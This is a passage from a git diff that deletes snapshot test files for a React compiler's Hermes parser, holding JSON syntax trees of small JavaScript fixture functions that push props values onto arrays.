-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    76,
-                    77
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    80,
-                    82
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  76,
-                  82
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              70,
-              83
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    86,
-                    87
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    88,
-                    92
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  86,
-                  92
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      93,
-                      98
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      99,
-                      100
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    93,
-                    100
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                86,
-                101
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              86,
-              102
-            ]
-          },
-          {
-            "type": "LabeledStatement",
-            "label": {
-              "type": "Identifier",
-              "name": "label",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                105,
-                110
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        122,
-                        127
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        128,
-                        129
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      122,
-                      129
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "BreakStatement",
-                        "label": {
-                          "type": "Identifier",
-                          "name": "label",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            145,
-                            150
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          139,
-                          151
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      131,
-                      157
-                    ]
-                  },
-                  "alternate": null,
-                  "loc": null,
-                  "range": [
-                    118,
-                    157
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          162,
-                          163
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          164,
-                          168
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        162,
-                        168
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            169,
-                            174
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "c",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            175,
-                            176
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          169,
-                          176
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      162,
-                      177
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    162,
-                    178
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                112,
-                182
-              ]
-            },
-            "loc": null,
-            "range": [
-              105,
-              182
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    185,
-                    186
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    187,
-                    191
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  185,
-                  191
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      192,
-                      197
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "d",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      198,
-                      199
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    192,
-                    199
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                185,
-                200
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              185,
-              201
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                211,
-                212
-              ]
-            },
-            "loc": null,
-            "range": [
-              204,
-              213
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          66,
-          215
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        40,
-        215
-      ],
-      "loc": null,
-      "range": [
-        40,
-        215
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    40,
-    215
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@conditional-break.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@conditional-break.js.snap
deleted file mode 100644
index aafef902b5eb..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@conditional-break.js.snap
+++ /dev/null
@@ -1,1574 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/conditional-break.js
----
-Input:
-/**
- * props.b does *not* influence `a`
- */
-function ComponentA(props) {
-  const a_DEBUG = [];
-  a_DEBUG.push(props.a);
-  if (props.b) {
-    return null;
-  }
-  a_DEBUG.push(props.d);
-  return a_DEBUG;
-}
-
-/**
- * props.b *does* influence `a`
- */
-function ComponentB(props) {
-  const a = [];
-  a.push(props.a);
-  if (props.b) {
-    a.push(props.c);
-  }
-  a.push(props.d);
-  return a;
-}
-
-/**
- * props.b *does* influence `a`, but only in a way that is never observable
- */
-function ComponentC(props) {
-  const a = [];
-  a.push(props.a);
-  if (props.b) {
-    a.push(props.c);
-    return null;
-  }
-  a.push(props.d);
-  return a;
-}
-
-/**
- * props.b *does* influence `a`
- */
-function ComponentD(props) {
-  const a = [];
-  a.push(props.a);
-  if (props.b) {
-    a.push(props.c);
-    return a;
-  }
-  a.push(props.d);
-  return a;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "ComponentA",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          53,
-          63
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            64,
-            69
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a_DEBUG",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    81,
-                    88
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    91,
-                    93
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  81,
-                  93
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              75,
-              94
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "a_DEBUG",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    97,
-                    104
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    105,
-                    109
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  97,
-                  109
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      110,
-                      115
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      116,
-                      117
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    110,
-                    117
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                97,
-                118
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              97,
-              119
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  126,
-                  131
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "b",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  132,
-                  133
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                126,
-                133
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ReturnStatement",
-                  "argument": {
-                    "type": "NullLiteral",
-                    "loc": null,
-                    "range": [
-                      148,
-                      152
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    141,
-                    153
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                135,
-                157
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              122,
-              157
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "a_DEBUG",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    160,
-                    167
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    168,
-                    172
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  160,
-                  172
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      173,
-                      178
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "d",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      179,
-                      180
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    173,
-                    180
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                160,
-                181
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              160,
-              182
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "a_DEBUG",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                192,
-                199
-              ]
-            },
-            "loc": null,
-            "range": [
-              185,
-              200
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          71,
-          202
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        44,
-        202
-      ],
-      "loc": null,
-      "range": [
-        44,
-        202
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "ComponentB",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          253,
-          263
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            264,
-            269
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    281,
-                    282
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    285,
-                    287
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  281,
-                  287
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              275,
-              288
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    291,
-                    292
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    293,
-                    297
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  291,
-                  297
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      298,
-                      303
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      304,
-                      305
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    298,
-                    305
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                291,
-                306
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              291,
-              307
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  314,
-                  319
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "b",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  320,
-                  321
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                314,
-                321
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          329,
-                          330
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          331,
-                          335
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        329,
-                        335
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            336,
-                            341
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "c",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            342,
-                            343
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          336,
-                          343
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      329,
-                      344
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    329,
-                    345
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                323,
-                349
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              310,
-              349
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    352,
-                    353
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    354,
-                    358
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  352,
-                  358
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      359,
-                      364
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "d",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      365,
-                      366
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    359,
-                    366
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                352,
-                367
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              352,
-              368
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                378,
-                379
-              ]
-            },
-            "loc": null,
-            "range": [
-              371,
-              380
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          271,
-          382
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        244,
-        382
-      ],
-      "loc": null,
-      "range": [
-        244,
-        382
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "ComponentC",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          477,
-          487
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            488,
-            493
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    505,
-                    506
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    509,
-                    511
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  505,
-                  511
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              499,
-              512
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    515,
-                    516
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    517,
-                    521
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  515,
-                  521
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      522,
-                      527
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      528,
-                      529
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    522,
-                    529
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                515,
-                530
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              515,
-              531
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  538,
-                  543
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "b",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  544,
-                  545
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                538,
-                545
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          553,
-                          554
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          555,
-                          559
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        553,
-                        559
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            560,
-                            565
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "c",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            566,
-                            567
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          560,
-                          567
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      553,
-                      568
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    553,
-                    569
-                  ]
-                },
-                {
-                  "type": "ReturnStatement",
-                  "argument": {
-                    "type": "NullLiteral",
-                    "loc": null,
-                    "range": [
-                      581,
-                      585
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    574,
-                    586
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                547,
-                590
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              534,
-              590
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    593,
-                    594
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    595,
-                    599
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  593,
-                  599
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      600,
-                      605
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "d",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      606,
-                      607
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    600,
-                    607
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                593,
-                608
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              593,
-              609
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                619,
-                620
-              ]
-            },
-            "loc": null,
-            "range": [
-              612,
-              621
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          495,
-          623
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        468,
-        623
-      ],
-      "loc": null,
-      "range": [
-        468,
-        623
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "ComponentD",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          674,
-          684
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            685,
-            690
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    702,
-                    703
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    706,
-                    708
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  702,
-                  708
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              696,
-              709
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    712,
-                    713
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    714,
-                    718
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  712,
-                  718
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      719,
-                      724
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      725,
-                      726
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    719,
-                    726
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                712,
-                727
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              712,
-              728
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  735,
-                  740
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "b",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  741,
-                  742
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                735,
-                742
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          750,
-                          751
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          752,
-                          756
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        750,
-                        756
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            757,
-                            762
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "c",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            763,
-                            764
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          757,
-                          764
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      750,
-                      765
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    750,
-                    766
-                  ]
-                },
-                {
-                  "type": "ReturnStatement",
-                  "argument": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      778,
-                      779
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    771,
-                    780
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                744,
-                784
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              731,
-              784
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    787,
-                    788
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    789,
-                    793
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  787,
-                  793
-                ]
-              },
-              "arguments": [
-                {
